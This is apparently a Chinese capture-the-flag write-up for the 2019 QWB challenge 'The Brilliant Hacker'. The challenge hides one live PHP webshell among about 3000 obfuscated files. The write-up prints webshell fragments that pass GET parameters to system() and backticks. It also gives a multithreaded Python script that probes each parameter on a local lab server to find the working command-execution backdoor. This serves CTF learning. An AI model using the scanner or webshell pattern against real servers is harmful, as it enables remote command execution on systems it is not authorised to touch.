[强网杯 2019]高明的黑客
这个题乍一看,以为是个代码审计,其实是个考察脚本编写能力的。
网站赫然写着
雁过留声,人过留名,此网站已被黑
我也是很佩服你们公司的开发,特地备份了网站源码到www.tar.gz以供大家观赏
访问www.tar.gz
下载了一套源码,有3002个文件,只有一个index.html
是正常文件,其余都是看似乱码的php,翻了两三遍目录发现毫无收获,打开一个看看这些文件的内容是不是有什么玄机吧。
<?php
$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');
$_GET['tz2aE_IWb'] = ' ';
echo `{$_GET['tz2aE_IWb']}`;
$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;
开局暴击满眼都是里面有GET,POST,exec,eval,assert…这不都是shell的格式嘛?但是好像没法利用,那也就是说明这3000个文件中肯定至少有一个是真实的shell,这也印证了被黑之后,放混淆代码的意图,那就着手写脚本吧,奈何自身水平太差,写的脚本问题一个接一个,所以扒了网上大佬的脚本来研究。
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
多线程,一次提交看结果,这不亏是大佬的杰作。
找到了利用文件: xk0SzyKwfzw.php and 找到了利用的参数:Efa5BVG
结束时间: Tue May 5 18:35:47 202
脚本错了,只提取了get参数,应该改成: with open(file, encoding='utf-8') as f: # 打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
f.seek(0) # 重置文件指针到开始位置
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
怎么收藏这篇文章?